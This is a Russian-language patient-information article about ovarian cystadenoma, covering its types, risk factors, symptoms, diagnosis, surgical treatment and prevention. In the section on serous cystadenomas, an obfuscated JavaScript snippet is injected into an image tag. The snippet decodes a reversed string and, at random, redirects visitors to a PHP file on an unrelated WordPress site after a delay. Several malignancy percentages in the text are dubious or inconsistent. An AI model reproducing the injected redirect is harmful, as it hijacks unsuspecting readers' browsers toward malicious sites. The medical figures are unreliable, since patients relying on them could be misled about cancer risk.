Яичники являются важными репродуктивными железами организма женщины, вырабатывающими ряд половых гормонов, а также продуцирующими гаметы (яйцеклетки) — половые клетки, без которых невозможны процессы оплодотворения.
В последнее время участились случаи обращения пациенток к гинекологам с различными заболеваниями этих органов, и нередко встречается такая патология, как цистаденома яичника. Что же это за состояние?
Содержание
Что такое цистаденома яичника
Цистаденома представляет собой кистозное образование, относящееся к группе доброкачественных эпителиальных опухолей яичников, имеющим капсулу и эпителиальную выстилку. Отличается тем, что она склонна к озлокачествлению.
В литературе можно встретить несколько вариантов названия этого заболевания: цистаденома, кистома, истинная опухоль яичника.
В современных источниках в основном употребляется термин «цистаденома».
Какие виды цистаденом существуют
Современная медицина выделяет следующие виды цистаденом:
Это уникальный список
- Серозная цистаденома. Встречается в большинстве случаев поражения яичников цистаденомами (примерно в семидесяти процентах). Как правило, появляется на одном яичнике. Серозные цистаденомы могут быть:
- Гладкостенными (простыми). В разных источниках можно встретить следующие названия: простая серозная цистаденома, серозная киста яичника, гладкостенная цилиоэпителиальная цистаденома. Внешне такие опухоли очень схожи с кистами яичников: их поверхность гладкая, сами они имеют круглую форму, одну камеру с серозным содержимым (однородным или со взвесью). Внутренняя оболочка включает в себя реснитчатый эпителий, имеющий склонность к пролиферативному росту (усиленному делению клеток, увеличивающему размер опухоли). Нужно отметить то, что такой вид новообразования крайне редко перерождается в рак (таким случаям отводят всего лишь 0,5%).
- Папиллярными (сосочковые, грубососочковые). В 35 процентах всех случаев заболеваемости цистаденомой яичника встречается именно этот вид патологии. Внешне так же, как и гладкостенные, схожи с кистами яичников. Но особенностью такого образования является то, что внутренняя оболочка имеет так называемые сосочковые выросты.
- Грубососочковые цистаденомы характеризуются возникновением на внутренней оболочке грубых плотных папиллярных выростов на толстой ножке, такой вид практически никогда не перерождается в рак.
- Серозные папиллярные цистаденомы на внутренней оболочке имеют мягкие папиллярные выросты на тонкой ножке, характеризующиеся интенсивным ростом, в результате чего в процессе своего развития новообразование постепенно становится похожим на цветную капусту. Именно такие выросты при обнаружении заставляют врача насторожиться, так как вероятность озлокачествления опухолевого процесса возрастает на 50 процентов, из-за их возможности прорастать через стенку образования и способности «переходить» на соседние органы.
- Пограничные цистаденомы отличаются интенсивным ростом сосочков и отсутствием способности прорастать через оболочку опухоли, в результате чего склонность к озлокачествлению сведена к минимуму.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/05/seroznaya-cistadenoma-728×546.jpg» alt=»Серозная цистаденома» width=»728″ height=»546″ /> Так может выглядеть серозная цистаденома
- Муцинозная цистаденома. Чаще всего возникает у женщин в возрасте старше пятидесяти лет, но может появиться и у более молодых. Нередко образуется на обеих половых железах. Образование, как правило, достигает больших размеров, всегда имеет много камер, стенки которых выстланы фиброзной тканью и муцинозным эпителием. Внутрикамерное муцинозное содержимое (может быть геморрагическим, желеобразным и слизеподобным) состоит из гетерогликанов (биополимеров, в основу которых входит сахароза) и особых молекулярных комплексов жиров (липопротеидов высокой и низкой плотности). Снаружи опухоль имеет гладкую структуру. По мере роста стенка её истончается и приобретает «прозрачный» вид. Различают следующие виды муцинозных цистаденом:
- Муцинозные аденофибромы и цистаденофибромы. Они имеют схожее строение с гладкостенными серозными цистаденомами, но отличаются содержимым (оно муцинозное). Склонность к озлокачествлению равняется трём процентам.
- Пограничные муцинозные цистаденомы. Они очень схожи с простыми. Отличаются от них наличием множества камер и митотической активностью (усиленным делением клеток) эпителия, выстилающего внутреннюю полость опухоли. Из-за такой способности к интенсивному увеличению количества эпителиальных клеток образование считается злокачественно опасным. Склонность к озлокачествлению данного вида равняется восьмидесяти процентам.
- Яичниковые и брюшинные псевдомиксомы. Считается довольно редким явлением, появляется чаще всего в запущенных случаях. Как правило, развивается в результате разрыва капсулы муцинозных цистаденом или любого вида цистаденокарцином яичника. Озлокачествляется в десяти процентах случаев (в основном это происходит на фоне других патологий).
- Фиброэпителиома (мукоидная фиброэпителиома, опухоль Бреннера). Она состоит из яичниковой стромы (соединительнотканной оболочки, окружающей ткани яичника). Может возникать как у женщин в зрелом возрасте, так и у девочек. Имеет плотное узловое строение с множественными мелкими кистозными включениями. Внешне гладкая, овоидной (округлой) формы. Своей капсулы не имеет, чаще всего поражает левый яичник. Нередко сочетается с другими опухолевыми процессами. В основном имеет доброкачественное течение, но и существует вероятность злокачественного перерождения, которая сведена к минимуму (0,5%).
- Пограничная (пролиферирующая) фиброэпителиома. Считается исключительно редкой опухолью с кистозными и папилломатозными включениями. Вероятность перерождения в рак высокая и достигает 90%.
- Смешанная цистаденома. Характеризуется смешанным строением, многокамерностью, различным содержимым в камерах и состоит из муцинозных и серозных компонентов. Как и все опухоли могут быть доброкачественными, пограничными и злокачественными.
Все виды опухолей могут быть как маленького, так и гигантского размера. Известны случаи, когда цистаденома достигала тридцати пяти сантиметров в диаметре и весила более трёх килограмм. Скорость роста зависит от многих факторов, поэтому говорить, что папиллярные кисты растут быстрее простых будет не совсем верно.
Причины и факторы развития опухоли
До сих пор точная причина возникновения цистаденом яичников медицине неизвестна. Но выявлена тесная связь с наличием других патологий репродуктивной системы и таких состояний, как:
- наличие функциональных кист яичников, которые не подверглись обратному развитию;
- гормональные нарушения различного характера;
- нарушения функционирования яичников;
- менопауза;
- различные воспалительные и инфекционные процессы в органах малого таза, включая венерические заболевания;
- раннее начало становления менструальной функции (у девочек младше двенадцати лет);
- постоянные стрессы и нервное напряжение;
- чрезмерные физические нагрузки;
- наследственность;
- различные метаболические расстройства;
- бесконтрольный приём различных гормональных средств;
- внематочная беременность в анамнезе;
- различные хирургические вмешательства, включая аборты;
- вредные привычки.
По каким симптомам можно заподозрить наличие заболевания
Как правило, цистаденомы небольших размеров никак не обращают на себя внимания и могут стать случайной находкой на плановом ультразвуковом исследовании или же на приёме у гинеколога. Первые симптомы начинают появляться при достижении опухоли значительных размеров и её давлении на соседние органы независимо от возраста пациентки, будь то молодая девушка или женщина, достигшая менопаузы. При этом могут предъявляться такие жалобы:
- сбой менструального цикла (первое, что может заставить насторожиться);
- тянущие боли в нижней части живота, отдающие в поясничную область;
- запоры;
- учащение мочеиспускания;
- распирающие ощущения в нижней части живота и тазовой области, ощущение инородного предмета;
- увеличение размеров живота, особенно на стороне поражения.
Симптомы будут одинаковы при патологии левого и правого яичника.
Женщины в период менопаузы дискомфорт в области живота и сбой менструального цикла связывают с гормональными сдвигами, характерными в данный период, позволяя опухолевому процессу переходить в более запущенные стадии. Поэтому строго раз в полгода необходимо проходить профилактические осмотры у врача гинеколога и раз в год посещать кабинет ультразвуковой диагностики для исключения патологий органов малого таза.
В экстренных ситуациях (разрыв капсулы, перекрут ножки и так далее) развиваются симптомы «острого живота», что требует безотлагательной медицинской помощи. О таких опасных состояниях могут свидетельствовать:
- Резкая болезненность на стороне поражения на фоне или разлитая болезненность при физической нагрузке или в спокойном состоянии.
- Головокружение вплоть до потери сознания.
- Падение артериального давления.
- Резкая слабость.
- Бледность кожных покровов и так далее.
Экстренные состояния при цистаденоме можно спутать с другими патологиями, протекающими по типу «острого живота». Поэтому следует незамедлительно вызвать бригаду скорой медицинской помощи для скорейшей диагностики состояния и своевременного лечения.
Диагностика патологии (в т.ч. дифференциальная)
Как уже говорилось, цистаденома у женщины может быть обнаружена случайно, так как долгое время отсутствует симптоматика заболевания. Для диагностирования опухоли достаточно пройти:
- осмотр гинеколога (врач пропальпирует увеличенный в размерах яичник или же дополнительное образование, расположенное сбоку и кзади от тела матки, плотное и тугоэластичное на ощупь);
- ультразвуковую диагностику, которая позволит увидеть наличие тёмного округлого новообразования с чёткими контурами, одной или несколькими камерами, анэхогенным и однородным содержимым (возможно, со взвесью).
Но к сожалению, эти методы могут позволить выявить лишь факт наличия опухолевого образования и следить за динамикой его роста. Точно определить его характер помогут такие методы, как:
- ЦДК-метод (цветовое допплеровское картирование) покажет распределение кровотока в новообразовании, тем самым позволяя сделать предположения о его доброкачественном течении (или же злокачественном);
- магнитно-резонансная томография (МРТ) и компьютерная томография (КТ) помогут подробно изучить строение опухоли, её расположение относительно других органов.
- лапароскопия — самый точный метод диагностики цистаденом, позволяющий изучить опухоль «изнутри».
Применяемые средства лечения
Нужно отметить то, что обратному развитию (рассасыванию) цистаденомы никакие лекарственные препараты и средства народной медицины помочь не смогут. Лечение производится исключительно хирургическим путём. Лекарства и травы могут использоваться в послеоперационный период для скорейшего восстановления организма только по рекомендациям лечащего врача.
Хирургическое вмешательство может осуществляться лапароскопическим доступом, который применяется при цистаденомах малого размера. Техника проведения такой операции заключается во введении инструментов в брюшную полость через несколько маленьких отверстий в передней стенке живота.
Так же используют полостной доступ, который применяется при наличии образований большого размера.
Простые серозные опухоли удаляют чаще всего посредством вылущивания, не затрагивая здоровые окружающие ткани. При муцинозных и папиллярных цистаденомах женщинам репродуктивного возраста специалисты стараются максимально сохранить здоровые ткани репродуктивных органов. Женщинам климактерического периода во избежание дальнейших осложнений (чаще всего озлокачествления процесса) проводят удаление обоих яичников с экстирпацией (удалением) матки.
Прогноз и возможные осложнения после операции
При ранней диагностике и своевременном удалении цистаденомы прогнозы благоприятные, так как органы репродуктивной системы практически не затрагиваются, и восстановительный период будет коротким. При злокачественном течении, двустороннем опухолевом процессе или же в сильно запущенных случаях прогноз будет неблагоприятным относительно фертильности женщины, так как в таких ситуациях удаляются яичники, возможно, и матка.
В целом после оперативного вмешательства на фоне отсутствия каких-либо осложнений женщина считается полностью здоровой.
Профилактика заболевания
Профилактика появления цистаденомы яичника сводится к внимательному отношению к своему здоровью. Следует устранить все факторы, которые будут способствовать образованию патологии, для чего необходимо:
- следить за гормональным балансом организма;
- регулярно посещать гинеколога (не реже двух раз в год);
- максимально снизить нервное и физическое напряжение;
- своевременно лечить инфекционные и воспалительные процессы половой сферы;
- строго соблюдать рекомендации лечащего врача по приёму гормональных препаратов.
Что нужно знать о кистах и кистомах яичников (мнение специалиста) — видео
Цистаденома яичника — не такая уж и безобидная проблема, на которую можно не обращать внимания. При обнаружении этой патологии не стоит откладывать операцию на более поздний срок, так как такой необдуманный поступок может послужить развитию более серьёзных проблем. Современные методики позволяют сделать женщину здоровой с минимальным риском развития осложнений и дают возможность организму максимально быстро восстановиться после операции.
